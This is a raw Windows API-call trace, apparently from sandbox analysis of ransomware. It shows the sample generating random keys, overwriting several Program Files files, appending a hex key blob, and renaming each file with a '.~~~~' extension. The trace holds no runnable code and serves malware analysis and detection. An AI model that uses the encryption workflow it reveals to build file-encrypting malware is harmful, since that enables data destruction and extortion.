	[0088.099] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.099] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.099] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.099] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.099] CloseHandle (hObject=0x134) returned 1
	[0088.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6248
	[0088.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll.~~~~")) returned 1
	[0088.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6248 | out: hHeap=0x300000) returned 1
	[0088.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0088.100] GetLastError () returned 0x0
	[0088.585] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a09d8) returned 1
	[0088.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.586] CryptReleaseContext (hProv=0x3a09d8, dwFlags=0x0) returned 1
	[0088.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.586] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20857634322) returned 1
	[0088.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e99f550, dwHighDateTime=0x1d60e1e)) 
	[0088.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2550
	[0088.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2550 | out: hHeap=0x300000) returned 1
	[0088.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.587] GetLastError () returned 0x0
	[0088.587] GetLastError () returned 0x0
	[0088.587] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.587] GetLastError () returned 0x0
	[0088.588] GetLastError () returned 0x0
	[0088.591] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffbca0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.591] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x4360, lpOverlapped=0x0) returned 1
	[0088.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.592] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.593] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.593] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.593] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.593] CloseHandle (hObject=0x12c) returned 1
	[0088.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0088.593] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.~~~~")) returned 1
	[0088.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0088.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.594] GetLastError () returned 0x0
	[0088.595] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a09d8) returned 1
	[0088.596] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.596] CryptReleaseContext (hProv=0x3a09d8, dwFlags=0x0) returned 1
	[0088.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.596] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20858653372) returned 1
	[0088.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e99f550, dwHighDateTime=0x1d60e1e)) 
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e49a8
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e49a8 | out: hHeap=0x300000) returned 1
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.597] GetLastError () returned 0x0
	[0088.597] GetLastError () returned 0x0
	[0088.597] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.598] GetLastError () returned 0x0
	[0088.598] GetLastError () returned 0x0
	[0088.600] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffb6ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.600] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4932, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x4932, lpOverlapped=0x0) returned 1
	[0088.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.601] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.601] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.601] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.601] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.601] CloseHandle (hObject=0x124) returned 1
	[0088.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4a58
	[0088.601] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.~~~~")) returned 1
	[0088.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4a58 | out: hHeap=0x300000) returned 1
	[0088.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.602] GetLastError () returned 0x0
	[0088.603] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a09d8) returned 1
	[0088.604] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.604] CryptReleaseContext (hProv=0x3a09d8, dwFlags=0x0) returned 1
	[0088.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.604] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20859453764) returned 1
	[0088.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e9c56b0, dwHighDateTime=0x1d60e1e)) 
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e49e0
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e49e0 | out: hHeap=0x300000) returned 1
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.605] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.605] GetLastError () returned 0x0
	[0088.605] GetLastError () returned 0x0
	[0088.605] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.606] GetLastError () returned 0x0
	[0088.606] GetLastError () returned 0x0
	[0088.608] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff871c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.608] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x78e4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x78e4, lpOverlapped=0x0) returned 1
	[0088.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.609] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.609] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.609] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.609] CloseHandle (hObject=0x124) returned 1
	[0088.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4da0
	[0088.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.~~~~")) returned 1
	[0088.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4da0 | out: hHeap=0x300000) returned 1
	[0088.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.610] GetLastError () returned 0x0
	[0088.611] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394860) returned 1
	[0088.612] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.612] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0088.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.612] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20860233482) returned 1
	[0088.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9e9c56b0, dwHighDateTime=0x1d60e1e)) 
	[0088.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4a50
	[0088.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4a50 | out: hHeap=0x300000) returned 1
	[0088.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.613] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.613] GetLastError () returned 0x0
	[0088.613] GetLastError () returned 0x0
	[0088.614] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.614] GetLastError () returned 0x0
	[0088.614] GetLastError () returned 0x0
	[0088.617] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff7ae4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.617] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x851c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x851c, lpOverlapped=0x0) returned 1
	[0088.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.617] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.618] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.618] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.618] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.618] CloseHandle (hObject=0x124) returned 1
	[0088.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4da0
	[0088.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.~~~~")) returned 1
	[0088.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4da0 | out: hHeap=0x300000) returned 1
	[0088.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.619] GetLastError () returned 0x0
	[0088.693] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0088.720] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.720] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0088.720] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20871003108) returned 1
	[0088.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ead0050, dwHighDateTime=0x1d60e1e)) 
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4eb0
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4eb0 | out: hHeap=0x300000) returned 1
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcbc8
	[0088.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0088.721] GetLastError () returned 0x0
	[0088.721] GetLastError () returned 0x0
	[0088.721] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0088.721] GetLastError () returned 0x0
	[0088.721] GetLastError () returned 0x0
